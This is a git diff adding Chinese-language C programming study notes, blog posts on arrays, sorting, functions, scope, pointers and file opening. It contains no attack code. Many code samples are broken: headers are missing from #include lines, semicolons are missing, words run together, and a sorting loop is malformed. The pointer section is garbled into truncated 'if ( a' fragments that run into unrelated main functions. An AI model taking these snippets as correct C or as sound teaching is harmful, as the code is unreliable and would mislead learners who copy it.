+int main ()
+{
+ for( ; ; )
+ {
+ printf("该循环会永远执行下去！\n");
+ }
+ return 0;
+}
+```
diff --git a/source/_posts/c_learn_2.md b/source/_posts/c_learn_2.md
new file mode 100644
index 0000000..e10579f
--- /dev/null
+++ b/source/_posts/c_learn_2.md
@@ -0,0 +1,338 @@
+---
+title: C语言-2
+date: 2022-11-22 12:12:12
+tags: [C语言, 笔记]
+categories: 笔记
+---
+
+
+
+**学习目标：**
+
+- 1、一维数组、二维数组、字符数组的定义、引用、初始化
+- 2、利用数组批量处理数据。
+
+## 一、数组的概念
+
+1.数组是一组有序数据的集合
+
+2.数组中每一个元素都属于同一个数据类型
+
+## 二、一维数组
+
+### 1、定义
+
+- 类型关键字数组名[常量表达式]
+ - 类型关键字：int、float等
+ - 数组名：遵循标识符命名规则
+ - 不允许使用C语言中的关键字
+ - 由字母、数字、下划线组成，且首字母必须为字母或下划线，不能为数字
+ - []不是【】
+ - 常量表达式
+ - inta[5]
+ - inta[3+2]
+ - inta[N]//N是提前声明的符号常量
+
+### 2、引用
+
+数组名[下标]
+
+例：a[4]//引用数组中第五个元素
+
+### 3、初始化
+
+- 在定义数组时，对数组元素赋初值
+- int a[6]={1,2,3,4,5,6};
+- 可只给一部分数组元素赋初值，未赋值部分默认为0
+- int a[6]={1,2,3};
+- 未赋初值的数组，各元素值不确定（取决于不同的编译器）
+
+
+
+
+- 初始化的数据个数确定时可以省略数组长度。
+ - 例：inta[]={1,2,3};
+- 数组中全部元素初始化为0。
+ - 例：inta[6]={0};
+
+### 4、一维数组使用示例//输出斐波那契数列前30个数
+
+```c
+#include
+int main()
+{
+ int f[30]={1,1}
+ int i;
+ printf("%d\t%d\t",f[0],f[1]);
+ for(i=2;i<30;i++)
+ {
+ if(i%5==0)
+ printf("\n");
+ f[i]=f[i-1]+f[i-2];
+ printf("%d\t",f[i]);
+ }
+ return 0;
+}
+```
+
+### 5、排序算法
+
+参考：[https://www.cnblogs.com/onepixel/p/7674659.html ](https://www.cnblogs.com/onepixel/p/7674659.html)
+
+交换排序：所谓交换，就是根据序列中两个记录键值的比较结果来对换这两个记录在序列中的位置，交换排序的特点是：将键值较大的记录向序列的尾部移动，键值较小的记录向序列的前部移动。
+
+```c
+for(j=0;j<5;j++)
+{
+ for(i=j+1;i<6;i++)
+ {
+ if(a[j]>a[i])
+ {t=a[j];a[j]=a[i];a[i]=t;}
+ }
+ }
+}
+```
+
+#### 选择排序
+
+- 原理：假设长度为n的数组arr，要按照从小到大排序，那么先从n个数字中找到最小值min1，如果最小值min1的位置不在数组的最左端(也就是min1不等于arr[0])，则将最小值min1和arr[0]交换，接着在剩下的n-1个数字中找到最小值min2，如果最小值min2不等于arr[1]，则交换这两个数字，依次类推，直到数组arr有序排列。
+- 步骤：
+ 1.首先在未排序序列中找到最小（大）元素，存放到排序序列的起始位置。
+ 2.再从剩余未排序元素中继续寻找最小（大）元素，然后放到已排序序列的末尾。
+ 3.重复第二步，直到所有元素均排序完毕。
+
+```c
+for(j=0;j<5;j++)
+{
+ for(k=j;i=j+1;i<6;i++)
+ if(a[k]>a[i])
+ k=i;
+ if(k!=j)
+ {t=a[k],a[k]=a[j];a[j]=t}
+}
+```
+
+#### 冒泡排序：
+
+- 原理：假设长度为n的数组arr，要按照从小到大排序。则冒泡排序的具体过程可以描述为：首先从数组的第一个元素开始到数组最后一个元素为止，对数组中相邻的两个元素进行比较，如果位于数组左端的元素大于数组右端的元素，则交换这两个元素在数组中的位置。这样操作后数组最右端的元素即为该数组中所有元素的最大值。接着对该数组除最右端的n-1个元素进行同样的操作，再接着对剩下的n-2个元素做同样的操作，直到整个数组有序排列。
+- 步骤：
+ 1、比较相邻的元素。如果第一个比第二个大，就交换他们两个。
+ 2、对每一对相邻元素做同样的工作，从开始第一对到结尾的最后一对。在这一点，最后的元
+ 素应该会是最大的数。
+ 3、针对所有的元素重复以上的步骤，除了最后一个。
+ 4、持续每次对越来越少的元素重复上面的步骤，直到没有任何一对数字需要比较。
+
+```
+for(j=0;j<5;j++)
+ for(i=0;i<5-j;i++)
+ if(a[i]>a[i+1])
+ {......}
+```
+
+## 三、二维数组
+
+### 1、定义
+
+note blue modern
+类型关键字 数组名[常量表达式1][常量表达式2]
+endnote
+
+例：
+
+```c
+int a[3][4];
+float b[5][10];
+```
+
+### 2、引用
+
+note blue modern
+数组名[下标1][下标2]
+endnote
+
+例：
+
+```
+a[0][0] a[0][1] a[0][2] a[0][3]
+a[1][0] a[1][1] a[1][2] a[1][3]
+a[2][0] a[2][1] a[2][2] a[2][3]
+```
+
+### 3、初始化
+
+#### 1、分行初始化
+
+```c
+int a[2][3]={{1,2,3},{4,5,6}}
+```
+
+#### 2、按存放数据整体初始化
+
+```c
+int a[3][2]={1,2,3,4,5,6}
+```
+
+#### 3、部分元素初始化
+
+```c
+int a[3][3]={{1},{},{4,5,6}}
+```
+
+#### 4、省略第一维初始化
+
+```c
+int a[][3]={{1},{},{4,5,6}}
+```
+
+### 4、输入输出
+
+#### 1、输入
+
+```c
+for(i=0;i<3;i++)
+ for(j=0,j<4;j++)
+ scanf("%d",&a[i][j]);
+```
+
+#### 2、输出
+
+```c
+for(i=0;i<3;i++)
+{
+ for(j=0,j<4;j++)
+ printf("%d",a[i][j]);
+ printf("\n");
+}
+```
+
+## 四、字符数组
+
+**1、C语言中没有表示字符串的类型，也没有字符串变量，字符串用字符数组来存放。**
+**2、字符型数据以字符的ASCII码存放在存储单元中，一般占一个字节。**
+
+### 1、定义
+
+```c
+char c[10],a[5];
+```
+
+### 2、初始化
+
+- 字符常量初始化
+
+ ```c
+ char c[6]={'H','a','p','p','y','!'}; //sizeof(c)=6
+ char c[]={'H','a','p','p','y','!'}; //提供初值个数与定义数组长度相同，可省略长度
+ char c[]={'H','a','p','p','y','!','\0'}; //sizeof(c)=7
+ ```
+
+- 字符串常量初始化
+
+ ```c
+ char c[]={"Happy!"}; //sizeof(c)=7因为字符串末尾自动加一个'\0'
+ char c[]="Happy";
+
+ //等同于charc[]={'H','a','p','p','y','!','\0'};
+ //不同于charc[]={'H','a','p','p','y','!'};
+ ```
+
+- 关于’\0’
+
+note blue modern
+C系统在用字符数组存储字符串常量时，会自动在末尾加一个’\0’作为结束符
+
+字符数组并不要求它的最后一个字符为’\0‘，因此charc[6]={‘H’,’a’,’p’,’p’,’y’,’!’};完全合法
+
+由于系统在处理在字符串常量时会自动加’\0’，为了一致及方便，通常处理时，人为的也加上’\0’
+endnote
+
+### 3、引用
+
+- 单个元素的引用
+
+note blue modern
+允许引用单个字符元素，输入或输出一个字符。
+endnote
+
+```c
+char c[7]= "happy!";
+scanf("%c",&c[2]); // 对c[2]元素赋一个字符
+printf("%c",c[3]); // 输出c[3]元素p
+```
+
+note blue modern
+以字符串形式进行输入输出
+endnote
+
+```c
+char c[7];
+scanf("%s",c); //注意此处不加&因为在C语言中，数组名代表第一个数组元素的地址
+printf("%s",c); //输出该字符串
+printf("%o",c); //八进制形式输出数组c的起始地址，即第一个数组元素的地址
+```
+
+note blue modern
+如果利用一个scanf函数输入多个字符串，应在输入时，以空格隔开
+endnote
+
+```c
+char a[5],b[5],c[5];
+scanf("%s%s%s",a,b,c); // 输入How are you分别将三个单词赋给a,b,c三个数组，注意：
+// 输入格式控制中间没有空格
+printf("%s%s%s",a,b,c); // 输出How are you
+```
+
+### 4、使用字符串处理函数
+
+- put(字符数组)
+ 将一个字符串输出到终端
+ 作用等效于printf(“%s”,c);也可以输出转义字符
+ 
+- gets(字符数组)
+ 从终端输入一个字符串到字符数组，并且得到一个函数值，该函数值为字符数组的起始地址。
+ 相比于scanf(“%s”,c);可以返回数组的地址值
+
+
+
+- puts与gets函数都仅仅只能处理一个字符串
+- strcat(字符数组1,字符数组2)
+ 把字符串2接到字符串1后面，结果放到字符数组1中，函数调用后得到的函数值为字符数组1的地址
+
+note red modern
+注：字符数组1的长度必须足够大，以便容纳连接后的新字符串。
+字符数组定义及初始化时，长度不能省略。
+endnote
+
+- strcpy(字符数组1,字符串2)
+ 将字符串2复制到字符数组1中去
+
+note red modern
+注：字符数组1的长度不小于字符串2的长度；
+字符数组1必须写成数组名形式，字符串2可以是字符数组名，也可以是字符串常量
+endnote
+
+- **strncpy(str1,str2,2)**
+
+将str2中最前面的两个字符复制到str1中
+
+- **strcmp(字符串1,字符串2)**
+
+比较字符串1和字符串2
+
+若相等，函数值为0；
+
+若字符串1>字符串2，函数值为一个正整数；
+
+若字符串1<字符串2，函数值为一个负整数。
+
+- **strlen(字符数组)**
+
+测试字符串实际长度
+
+- **strlwr(字符串)**
+
+将字符串中大写字母换成小写字母
+
+- **strupr(字符串)**
+
+将字符串中的小写字母换成大写字母
\ No newline at end of file
diff --git a/source/_posts/c_learn_3.md b/source/_posts/c_learn_3.md
new file mode 100644
index 0000000..d4ee276
--- /dev/null
+++ b/source/_posts/c_learn_3.md
@@ -0,0 +1,480 @@
+---
+title: C语言-3
+date: 2022-11-23 20:56:10
+tags: [C语言, 笔记]
+categories: 笔记
+---
+
+
+
+## 函数
+
+### 1、为什么需要：
+
+- 程序需要多次实现某一功能
+- 程序需要实现多种功能
+
+组装思想—>模块化程序设计
+
+### 2、什么是函数：
+
+函数（function）：函数就是功能，每一个函数用来实现某一个特定的功能
+
+### 3、函数从哪来：
+
+- 库函数
+- 编译函数
+- 自己编写函数
+
+### 4、函数的分类
+
+- 无参函数
+- 有参函数
+
+### 5、其他
+
+- 一个C程序由一个或多个源文件组成
+- 一个源文件由一个或多个函数组成
+
+## 怎么定义函数
+
+### 1、为什么要定义
+
+- 程序中用到的所有函数必须“先定义，后使用”
+
+- 同变量定义的道理类似，需要事先告知系统该函数功能、参数等信息，具体包括：
+
+ > 函数的名字，一遍按名调用
+ > 函数的类型，即函数返回值的类型
+ > 函数的参数名字即类型，以便调用函数时像他们传递数据
+ > 函数完成什么操作，即功能
+
+### 2、定义函数的方法
+
+note blue no-icon
+定义无参函数
+endnote
+
+```c
+类型名 函数名() //()内可以加void，可不加
+{
+ 函数体
+}
+
+
+例：
+void pr()
+{
+ ptintf("hello world!");
+}
+```
+
+note blue no-icon
+定义有参函数
+endnote
+
+```c
+类型名 函数名(形参列表)
+{
+ 函数体
+}
+
+
+例：
+int max(int a,int b)
+{
+ return(a>b?a:b);
+}
+```
+
+note blue no-icon
+定义空函数
+endnote
+
+```
+类型名 函数名()
+{}
+
+
+例：
+void fun()
+{}
+```
+
+## 调用函数
+
+一般形式：函数名(实参表列）
+
+### 1、调用函数的形式
+
+```
+函数调用语句
+例：
+pr();
+
+
+函数表达式 //函数调用语句出现在另一个表达式中
+例：
+c=2*max(a,b); //调用函数带回一个确定值并参
+
+
+
+加表达式的运算
+函数参数 //函数调用作为另一个函数调用时的参数
+例：
+m=max(a,max(b,c)); //将调用max函数的结果再重新作为下一次调用max函数的参数
+```
+
+### 2、函数调用时的数据传递
+
+在调用有参函数时，系统会把实参的值传传给被调用函数的形参，该值在函数调用期间有效。
+
+**1.形参：定义函数时，函数名括号后面的变量称为形式参数（或虚拟参数）**
+
+- 形参在函数调用时被分配内存单元，调用结束后立即释放
+- 形参为变量时，实参与形参的数据传递是“值传递”，即“单向传递”。
+
+**2.实参：在主调函数中调用一个函数时，函数名后面括号中的参数称为实际参数**
+
+- 实参可以是常量、变量或表达式，但要求有确定值。
+- 应保证形参与实参个数、类型、顺序的一致（字符型与整型可通用）。
+- 形参与实参的类型应相同或i赋值兼容。
+
+note red modern
+注：实参向形参的数据传递是“值传递”，单向传递，只能由实参传给形参，而不能由形参传给实参。
+实参和形参在内存中占有不同的存储单元，实参无法得到形参的值。
+endnote
+
+### 3、函数的返回值
+
+调函数调用函数希望得到一个确定值，这就是函数的返回值
+
+- 函数的返回值是通过return语句获得的
+
+- 可以有多个return语句，但只能有一个起作用。即函数只能返回一个值
+
+- 函数返回值的类型取决于定义函数时指定的函数值的类型
+
+ ```
+ int max(int x,int y) //函数值为整型
+ double min(int x,int..y) //函数值为double类型
+ ```
+
+- 在定义函数时指定的函数类型一般应该和return语句中的表达式一致，若不一致，则以函数类型为
+ 准，即函数类型决定返回值类型。
+
+- 对于不带返回值的函数，应当定义为void类型。
+
+**小结**
+
+- 函数——即想要实现某一功能所编写的程序，可将其理解为一个黑匣子，给它相应的输入（由调用
+ 者决定），它经过加工操作，给出你一个输出（结果）。
+
+- 函数的定义可理解为该制作该黑匣子，需要包括以下信息：
+
+ > 需要明确告知该函数的名字（一般以黑匣子的功能简称作为名字，做到见名知意）
+ > 使用该函数需要提供的输入（包括明确规定需要提供几个输入以及每个输入的类型）
+ > 该函数能够实现什么功能（黑匣子的详细功能介绍）
+ > 函数类型，也称函数返回值类型（即执行完毕后会输出什么）
+ >
+ > > 该输出值由return语句带回。
+ > > 若不用带回值，则不用写return语句，同时函数定义为void类型
+ > > 返回值类型应与函数类型一致，若不一致，则以函数类型为准。
+
+- 函数调用：使用该黑匣子的过程，若需要提供输入，则涉及到形参和实参之间的数据传递
+
+## 对被调用函数的声明和函数原型
+
+**1、调用函数时应该具备的条件**
+
+- 被调用函数必须是已经定义的函数
+- 若该被调用函数为库函数，则需要在文件开头，用#include指令调用
+- 若该被调用函数为用户自己定义的函数，而该函数的位置在调用它的函数的后面，则需要在主调函数中对被调函数做声明。
+ - 声明是为了提前将该函数的相关信息告知编译系统，以允许编译系统检查调用是否合法。
+
+**2、函数声明的形式(2种)**
+
+- 1.函数类型函数名(参数类型1参数名1,参数类型2c参数名2,……参数类型n参数名n);
+- 2.函数类型函数名(参数类型1,参数类型2,……参数类型n)
+
+## 函数的嵌套调用
+
+**在调用一个函数的过程中，又调用另一个函数**
+
+```c
+#include
+int fun2(int m)
+{
+ return m*m;
+}
+
+int fun1(int x,int y)
+{
+ return fun2(x) + fun2(y);
+}
+
+int main()
+{
+ int a,b;
+ scanf("%d%d",&a,&b);
+ printf("%d",fun1(a,b));
+ return0;
+}
+```
+
+## 函数的递归调用
+
+**在调用一个函数的过程中又直接或间接地调用该函数本身**
+
+```c
+#include
+unsigned fac(int n)
+{
+ unsigned f;
+ if (n==0)
+ f = 1;
+ else
+ f = fac(n-1)*n;
+ return f;
+}
+
+int main()
+{
+ unsigned n,y;
+ scanf("%d",&n);
+ y = fac(n);
+ printf("%d!=%d\n",n,y);
+ return0;
+}
+```
+
+## 数组作为函数参数(数组元素和数组名)
+
+- 调用有参函数时，需要提供实参。
+- 实参可以是常量、变量、表达式。
+- 数组元素和数组名也可以作为函数的实参。
+
+### 1、数组元素作为函数参数
+
+- 与变量作用相当，凡是变量可以出现的地方，都可以用数组元素代替。
+
+- 数组元素**只可以作为函数的实参，不可以用作形参。**
+
+ - 因为形参是在函数被调用时临时分配存储单元的，不可能为一个数组元素单独分配存储单元。
+
+ - 而实参的传递是单向值传递。
+
+ ```c
+ //已知10个三角形的三边长,求它们的面积。
+ #include
+ #include
+ float area(float a,float b,float c)
+ {
+ float p,s;
+ p = (a+b+c)/2;
+ s = sqrt(p*(p-a)*(p-b)*(p-c));
+ return(s);
+ }
+ int main()
+ {
+ floata[10],b[10],c[10],s[10];
+ int i;
+ for(i=0;i<10;i++)
+ {
+ scanf("%f%f%f",&a[i],&b[i],&c[i]);
+ s[i]=area(a[i],b[i],c[i]);
+ printf("s[%d]=%f\n",i+1,s[i]);
+ }
+ return0;
+ }
+ ```
+
+### 2、数组名作为函数参数
+
+#### 1、一维数组名作为函数参数
+
+- 数组名既可以作形参，也可以作实参。
+
+- 数组名表示的是数组第一个元素的地址
+
+- 形参数组可以不指定大小，但在定义数组时，需要在数组名后加上一个空的方括号
+
+ ```c
+ float average(float array[]) //定义average函数，形参数组不指定大小
+ ```
+
+- 由于用数组名作函数实参时，不是把数组元素的值传给形参，而是把实参数组的首元素地址传递给形参数组，因此这两个数组共用一段内存单元。即形参数组中各元素的值如果发生了变化，会使实参数组元素的值同时发生变化。
+
+```c
+//形参和实参共享一段内存单元
+#include
+void fun(int b[])
+{
+ int i;
+ for (i=0;i<=4;i++)
+ {
+ b[i] = 100;
+ }
+}
+
+int main()
+{
+ int a[5] = {0};
+ int i;
+ fun(a);
+ for (i=0;i<=4;i++)
+ {
+ printf("%d",a[i]);
+ }
+ return0;
+}
+```
+
+#### 2、多维数组名作函数参数
+
+- 多维数组元素可以作为函数参数，在被调用函数中，对形参数组定义时，可以指定每一维大小，也可省略第一维大小。
+
+ ```c
+ //一下两种均合法
+
+ int array[3][10];
+ int array[][10];
+ ```
+
+- 但不能将2为或更高维的大小省略
+
+ ```
+ //错误示范
+
+ int array[][]
+ int array[3][]
+ ```
+
+- 第二维大小相同的前提下，形参数组第一维可以与实参数组不同
+
+ ```c
+ 实参数组定义：int score[5][10];
+ 形参数组定义：int array[][10]; 或 int array[8][10];
+ ```
+
+## 局部变量和全局变量
+
+- 量必须先定义，后使用
+- 在一个函数中定义的变量，在其他函数中能否被引用？====》**作用域**
+- 在**函数内**定义的变量是**局部变量**，在**函数外**定义的变量是**外部变量**，**外部变量**是**全局变量**
+
+### 1、定义变量的三种情况
+
+- 在函数开头定义（作用范围：从定义处开始至本函数结束）局部变量
+- 在函数内的复合语句内定义（作用范围：本复合语句范围内）局部变量
+
+```c
+#include
+int main()
+{
+ int a=1,b=2;
+ {
+ int c;
+ c = a+b;
+ printf("%d",c); //可以输出
+ } //c的作用范围仅限于该复合语句块内
+ printf("%d",c); //会报错，显示c未被定义
+ return0;
+}
+```
+
+- 在函数的外部定义（作用范围：从定义变量的位置开始到本源文件结束）外部变量
+
+### 2、其他注意事项
+
+- 在一个函数中既可以使用本函数中的局部变量，也可以使用有效的全局变量
+- 设置全局变量可以增加函数间数据联系的渠道，但也因此如果在一个函数中改变了全局变量的值，
+- 就会影响到其他函数全局变量的值。
+- 因函数调用只能带回一个函数返回值，因此有时可以利用全局变量得到一个以上的值。
+- 不成文的规定：将全局变量首字母大写
+- 非必要不使用全局变量
+ - 长时间占用存储空间
+ - 函数通用性降低
+ - 增加了耦合性（各函数之间关联变多）
+ - 移植性差
+ - 降低了清晰性
+- 若在同一个源文件中，全局变量和局部变量同名，在局部变量的作用范围内，全局变量会被屏蔽。
+
+## 变量的存储方式和生存期
+
+- 从变量值的存在时间（生存期）来看，变量的存储可以分为**静态存储方式**和**动态存储方式**。
+ - 静态存储方式：程序运行期间由系统分配固定的存储空间（全局变量全部存放在静态存储区中）
+ - 动态存储方式：程序运行期间，根据需要动态的分配存储空间。（函数形参，自动变量，函数调用时的现场保护和返回地址）
+
+### 1、局部变量的存储类别
+
+#### 1、自动变量（auto）
+
+- 特点：在调用该函数时，系统会给这些变量分配存储空间，在函数调用结束时就自动释放这些存储空间
+
+- 函数中的形参和在函数中定义的局部变量都属于自动变量
+
+ - 不写auto则隐含指定为自动存储类别
+
+ ```
+ int fac(int a)
+ {
+ auto int b,c=3; //与intb,c=3;完全等价
+ .....
+ }
+ ```
+
+#### 2、静态局部变量（static）
+
+- 特点：函数中局部变量的值在函数调用结束后不消失而继续保留原值，在下一次调用该函数时，该变量已有值。
+
+#### 3、寄存器变量（register）
+
+- 对于一些频繁使用的变量，可将其存储在具有高速存取速率的寄存器中，这种变量叫寄存器变量
+
+ ```
+ register int f;
+ ```
+
+- 目前已不需要，遇到能看懂即可。
+
+### 全局变量的存储类别
+
+**1、在一个文件内扩展外部变量的作用域(extern关键字)**
+**2、将外部变量的作用域扩展到其他文件(extern关键字)**
+**3、将外部变量的作用域限制在本文件中(定义变量时加上static声明)**
+
+- 对局部变量用static声明，把它分配在静态存储区，该变量在整个程序执行期间不释放，其所分配的空间始终存在。
+ *对全局变量用static声明，则该变量的唑酮与只限于本文件模块（即被声明的文件中）。
+
+## 关于变量的声明和定义
+
+### 1、对于函数而言
+
+- 函数的声明时函数的原型，函数的定义是对函数功能的定义。
+
+### 2、对变量而言
+
+*建立存储空间的声明称为定义，不建立存储空间的声明称为声明。
+
+## 内部函数和外部函数
+
+- 根据函数能否被其他源文件调用，将函数区分为内部函数和外部函数
+
+### 1、内部函数（静态函数）
+
+如果一个函数只能被本文件中其他函数所调用，则称为内部函数。定义内部函数时，在函数名和函数类型的前面加static，即
+
+```
+static 类型名 函数名(形参名）
+```
+
+### 2、外部函数
+
+如果在定义函数时，在函数首部的左端加关键字extern，则此函数时外部函数，可供其他文件调用
+
+```
+extern int fun(int a,int b)
+```
+
+若在定义时省略extern，则默认为外部函数
\ No newline at end of file
diff --git a/source/_posts/c_learn_4.md b/source/_posts/c_learn_4.md
new file mode 100644
index 0000000..f765816
--- /dev/null
+++ b/source/_posts/c_learn_4.md
@@ -0,0 +1,455 @@
+---
+title: C语言-4
+date: 2022-12-01 16:24
+tags: [C语言, 笔记]
+categories: 笔记
+---
+
+
+
+## 指针
+
+### 1、了解数据在内存中如何存取
+
+- 定义变量后，系统会为该变量分配内存单元。
+
+ ```
+ int i=5; //编译系统根据所定义变量类型（int）分配4个字节的存储空间供使用，且该存
+ 储空间的名字为i，内部存储数据为5；
+ ```
+
+- 内存中每一个字节都有一个编号——》地址
+
+ - 根据地址能定位至内存中的某一确定位置
+
+- 使用地址和变量名均可访问到数据（即对内存中数据的访问有两种形式：直接访问和间接访问）
+
+ - 直接访问：按变量名存取变量值（知道房间名，直接看门牌去）
+ - 间接访问：通过存放变量地址的变量去访问变量。（不知道房间名，也不知道地址，询问服务人员得知在2楼第1间，进入房间）
+
+举例：
+
+
+### 2、什么是指针
+
+- 指针：地址
+- 指针变量：专门用来存放另一变量的地址（指针）的变量。
+ - 区分指针和指针变量
+ - 指针变量中存放指针
+ - 指针是一个具体的地址
+
+## 指针变量
+
+### 1、定义指针变量
+
+- 定义指针的一般形式
+
+ ```
+ 类型名 *指针变量名
+ int *p; //定义一个指针变量p，规定其可以指向整型变量。
+ ```
+
+注意事项：
+note red modern
+指针变量前面的”*”表示该变量为指针型变量，指针变量名是p，而不是 *p。
+
+在定义指针变量时必须指定**基类型**（因为不同类型的数据在内存中所占的字节数和存放方式是不同的）
+指向整形数据的指针类型表示为“int*”，读作指向int的指针，或 int指针
+
+指针变量中只能存放地址（指针），试图将一个整数赋给一个指针变量是不合法的。
+
+endnote
+
+### 2、引用指针变量
+
+- 给指针变量赋值
+
+ ```c
+ p = &a; //把a的地址赋给指针变量p；
+ ```
+
+- 引用指针变量指向的变量
+
+ ```c
+ p = &a;
+ printf("%d",*p); //输出p所指向的变量的值，即a的值，*p的使用与a相同
+ ```
+
+- 引用指针变量的值
+
+ ```c
+ printf("%o",p); //以八进制输出指针变量p的值，p指向a，则输出a的地址
+ ```
+
+- **强调两个运算符。**
+
+> “&”取地址运算符 &a是变量a的地址
+> “*” 指针运算符（间接访问运算符） *p代表指针变量p指向的对象
+
+例：
+
+```c
+#include
+int main()
+{
+ int a=50 , *p ;
+ p=&a ;
+ *p=100;
+ printf("%d, %d, %o\n", a, *p, p); //100, 100, 30577024
+ printf("%o, %o\n",&*p, &a); //30577024, 30577024
+ printf("%d, %d\n",*&a, *p); //100, 100
+ return 0;
+}
+```
+
+### 3、指针变量作为函数参数
+
+以输入a和b两个整数，按大小顺序输出为例
+
+```c
+#include
+int main()
+{
+ int *p1, *p2, *p, a, b;
+ scanf("%d, %d", &a, &b);
+ p1=&a; p2=&b;
+ if ( a
+int main( )
+{
+ int a, b;
+ scanf("%d,%d",&a,&b);
+ if ( a
+int main( )
+{
+ int a, b, *pa, *pb;
+ scanf("%d, %d", &a, &b);
+ pa=&a; pb=&b;
+ if ( a
+int main( )
+{
+ int a, b, *pa, *pb;
+ scanf("%d, %d", &a, &b);
+ pa=&a; pb=&b;
+ if ( a
+int main( )
+{
+ int a, b, *pa =&a, *pb =&b;
+ scanf("%d, %d", pa, pb);
+ if ( a形参的数据传递；return语句。
+ - 全局变量。
+ - 形参为指针。
+ - 函数参数（形参或实参）为数组名或指针
+
+```c
+void fun(int a,int b,int *c,int *d)
+{ *c=a+b ; *d=a-b ; }
+#include
+int main( )
+{
+ int x , y , z , w ;
+ scanf("%d,%d",&x , &y ) ;
+ fun( x , y, &z , &w ) ;
+ printf("%d,%d\n" , z , w ) ;
+ return 0;
+}
+```
+
+## 通过指针引用数组
+
+- 关于数组
+
+ ```c
+ int a[5]; //定义一个长度为5的整型数组，内含5个数组元素：
+ a[0],a[1],a[2],a[3],a[4]
+ //对于数组元素的引用与普通变量相同
+ //数组名a代表数组中首个元素的地址，即a[0]的地址
+ ```
+
+ 更多关于数组
+
+ 点此跳转
+
+### 1、数组元素的指针
+
+- 指针变量既然可以指向变量，自然也可以指向数组元素。
+
+ ```c
+ inta[5]={1,2,3,4,5};//定义a为包含5个整型数据的数组
+ ```
+
+ ```c
+ int*p; //定义p为指向整型变量的指针变量
+ p=&a[0]; //把a[0]元素的地址赋给指针变量
+ ```
+
+ 等价于
+
+ ```c
+ int*p=&a[0];//定义时直接进行初始化
+ ```
+
+ 等价于
+
+ ```c
+ int*p=a;//因为数组名a代表的就是&a[0]
+ ```
+
+### 2、在引用数组元素时的指针运算
+
+**运算：数据的加减乘除**
+**指针是内存地址编号，运算的意义？**
+**一定条件下，允许对指针进行加减运算。**
+**该条件指：指针指向数组元素。**
+
+- 如果指针变量p已指向数组中的某个元素
+ *p+1指向数组中该元素的下一个元素//指针运算中加减的数值是默认乘以（该数据类型所占内存字节数）之后参与运算的
+
+ - p-1指向数组中该元素的上一个元素
+
+ - p++,++p,p–,–p,+=,-=均是合法运算
+
+ - 的初值未&a[0]，则p+i和a+i就是数组元素a[i]的地址。
+
+ - *(p+i)或*(a+i)就是p+i或a+i所指向的数组元素
+
+ - 若指针p和q均指向同一数组中的元素，则执行p-q，所得结果表示两者所指元素中间的差值个数。
+ *p+q无意义。
+
+ ```c
+ #include
+ int main()
+ {
+ int a[3]={100,200,300};
+ int *p=a; //等价于int*p=&a[0];
+ int *q=&a[1];
+ printf("%d",*p); //100
+ printf("%d",*(p+2)); //300
+ printf("%d",*(q-1)); //100
+ printf("%d",*(a+2)); //300
+ printf("%d",q-p); //1
+ return 0;
+ }
+ ```
+
+### 3、通过指针引用数组元素
+
+- 引用一个数组元素，可以用下面两种方法：
+ - 下标法a[i]
+ - 指针法*(a+i)或*(p+i)//a是数组名，p是指向数组中首元素的指针变量。
+ 查看课本P231页例8.6
+
+note red modern
+**注意：**
+
+- 可以通过改变指针变量的值指向不同的元素例p++，但需注意不能通过数组名a变化的方法，因为数组名a为一个指针型常量。
+- 使用指针变量时，需要注意指针变量的当前值。
+
+endnote
+
+### 4、用数组名做函数参数
+
+- 就第七章所学，当用数组名做参数时，形参数组中各元素值发生改变，实参数组元素值随之变化作解释
+
+- 实参数组名代表该数组首元素地址
+
+- 形参用来接收从实参传递过来的数组首元素地址。
+
+- 因此，形参是一个指针变量（因为只有指针变量才能存放地址）
+
+- 实际上，C编译将形参数组名作为指针变量来处理。
+
+ ```c
+ fun(int arr[],int n); //等效于fun(int *arr,int n);
+ ```
+
+- 实参数组名代表一个固定的地址，或者说是指针常量，但形参数组名并不是一个固定的地址，而是按指针变量处理。因此在函数执行期间，它可以再被赋值。
+
+**若有一个实参数组，要想在函数中改变此数组中元素的值，实参与形参对应关系有以下四种情况：**
+
+- 形参和实参都用数组名
+
+ ```c
+ #include
+ void fun(int b[])
+ {
+ int i;
+ for(i=0;i<=4;i++)
+ {
+ b[i]=100;
+ }
+ }
+ int main()
+ {
+ int a[5]={0};
+ int i;
+ fun(a);
+ for(i=0;i<=4;i++)
+ {
+ printf("%d",a[i]);
+ }
+ return 0;
+ }
+ ```
+
+- 实参用数组名，形参用指针变量
+
+ ```c
+ #include
+ void fun(int*b)
+ {
+ int i;
+ for(i=0;i<=4;i++)
+ {
+ *(b+i)=100;
+ }
+ }
+ int main()
+ {
+ int a[5]={0};
+ int i;
+ fun(a);
+ for(i=0;i<=4;i++)
+ {
+ printf("%d",a[i]);
+ }
+ return 0;
+ }
+ ```
+
+- 实参形参都用指针变量
+
+ ```c
+ #include
+ void fun(int*b)
+ {
+ int i;
+ for(i=0;i<=4;i++)
+ {
+ *(b+i)=100;
+ }
+ }
+ int main()
+ {
+ int a[5]={0};
+ int i;
+ int *p;
+ p=a;
+ fun(p);
+ for(i=0;i<=4;i++)
+ {
+ printf("%d",a[i]);
+ }
+ return 0;
+ }
+ ```
+
+- 实参为指针变量，形参为数组名
+
+ ```c
+ #include
+ void fun(int b[])
+ {
+ int i;
+ for(i=0;i<=4;i++)
+ {
+ b[i]=100;
+ }
+ }
+ int main()
+ {
+ int a[5]={0};
+ int i;
+ int *p;
+ p=a;
+ fun(p);
+ for(i=0;i<=4;i++)
+ {
+ printf("%d",a[i]);
+ }
+ return 0;
+ }
+ ```
+
+## 通过指针引用字符串
+
+### 1、引用字符串的两种方法：
+
+- 字符数组内存放字符串，用数组名和%s输出
+- 用字符指针变量指向一个字符串常量，通过字符指针变量引用字符串常量。
+
+### 2、字符指针作函数参数
+
+**实参与形参对应关系有以下四种情况**
+
+- 形参和实参都用字符数组名
+- 实参用数组名，形参用字符指针变量
+- 实参形参都用指针变量
+- 实参为指针变量，形参为字符数组名
\ No newline at end of file
diff --git a/source/_posts/c_learn_5.md b/source/_posts/c_learn_5.md
new file mode 100644
index 0000000..4469521
--- /dev/null
+++ b/source/_posts/c_learn_5.md
@@ -0,0 +1,221 @@
+---
+title: C语言-5
+date: 2022-12-20 20:02
+tags: [C语言, 笔记]
+categories: 笔记
+---
+
+## 打开与关闭文件
+
+### 1、用fopen打开文件
+
+- fopen(文件名，使用文件方式)
+
+ ```c
+ fopen("D:\\date\\Mystudio\\demo.txt","r+");
+ fopen("D:/date/Mystudio/demo.txt","r+"); //绝对路径
+ ```
+
+- fopen函数的返回值是只要操作文件(demo.txt)的指针，若出错，将返回一个空指针(NULL)。
+
